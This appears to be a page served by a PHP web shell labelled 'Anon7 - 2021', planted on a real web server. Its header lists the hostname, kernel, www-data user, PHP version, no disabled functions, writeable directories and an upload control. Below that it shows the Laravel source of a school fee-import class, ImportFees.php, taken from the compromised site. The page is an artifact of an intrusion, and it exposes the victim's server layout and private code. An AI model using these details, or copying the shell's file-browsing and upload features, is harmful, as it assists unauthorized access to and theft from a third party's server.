KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/paras.theinteractive.in/app/Imports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/paras.theinteractive.in/app/Imports/ImportFees.php
<?php

namespace App\Imports;

use App\Models\Role;
use App\Models\User;
use App\Models\School;
use App\Models\Classes;
use App\Models\Feesallotment;
use App\Models\Feescollection;
use App\Models\Feesmaster;
use App\Models\Section;
use App\Models\Guardian;
use App\Models\Users_admission;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Session;
use Maatwebsite\Excel\Concerns\ToModel;
use PhpOffice\PhpSpreadsheet\Shared\Date;
use Maatwebsite\Excel\Concerns\Importable;
use Maatwebsite\Excel\Concerns\ToCollection;
use Maatwebsite\Excel\Concerns\WithStartRow;
use Maatwebsite\Excel\Concerns\SkipsEmptyRows;
use Maatwebsite\Excel\Concerns\WithHeadingRow;
use Maatwebsite\Excel\Concerns\WithValidation;

class ImportFees implements ToModel, WithStartRow, WithValidation, WithHeadingRow, SkipsEmptyRows
{
	use Importable;
	public function startRow(): int
	{
		return 2;
	}

	public function rules(): array
	{
		return [
			"class_code"				=> "required|exists:classes,code",
			"section_code"			=> "required|exists:sections,code",
			"admission_no"			=> "required|exists:users_admissions,id",
			"fees_master_code"	=> "required|exists:feesmasters,code",
			"tax"								=> "required",
			"payment_date"			=> "required",
			"fees_allot"				=> "required|numeric",
			"fees_collect"			=> "required|numeric",
			"discount"					=> "required|numeric",
		];
	}

	public function model($row)
	{
		$classCode = Classes::where('code', trim($row['class_code']))->first();
		$sectionCode = Section::where('code', trim($row['section_code']))->first();

		$users_admission = Users_admission::join('users','users.user_unique_id','=','users_admissions.user_unique_id')->where('users_admissions.id', trim($row['admission_no']))->first(['users.id','users_admissions.id as admission_no']);

		$feesMaster = Feesmaster::where('code', trim($row['fees_master_code']))->first();
		// dd($feesMaster);

		$feesallotment = Feesallotment::create([
			'class_id' 			=> $classCode->id,
			'section_id'		=> $sectionCode->id,
			'user_id'				=> $users_admission->id,
			'amount'				=> $feesMaster->amount,
			'tax_value' 		=> trim($row['tax']),
			'code'					=> trim($feesMaster->code),
			'due_date' 			=> $feesMaster->due_date,
			'status' 				=> 'unpaid',
			'created_at' 		=> date('Y-m-d H:i:s'),
		]);

		// User Create
		if (!empty($feesallotment)) {

			$feescollection = Feescollection::create([
				'user_id'						=> $users_admission->id,
				'feesallotment_id'	=> $feesallotment->id,
				'amount'						=> trim($row['fees_collect']),
				'payment_id' 				=> uniqid(),
				'mode'							=> 'cash',
				'fine' 							=> 0,
				'discount' 					=> trim($row['discount']),
				'note' 							=> trim($row['note']),
				'payment_status' 		=> 'credit',
				'payment_date' 			=> Date::excelToDateTimeObject($row['payment_date'])->format('Y-m-d'),
				'created_at' 				=> date('Y-m-d H:i:s'),
			]);

			$totalFees = $feescollection->amount;
			$totalReceived = trim($row['fees_collect'])+trim($row['discount']);

			if($totalFees == $totalReceived){
				$updateFeesAllot = array(
					'status'	=> 'paid'
				);
				Feesallotment::where('id',$feesallotment->id)->update($updateFeesAllot);
			}

		}
	}
}

Anon7 - 2021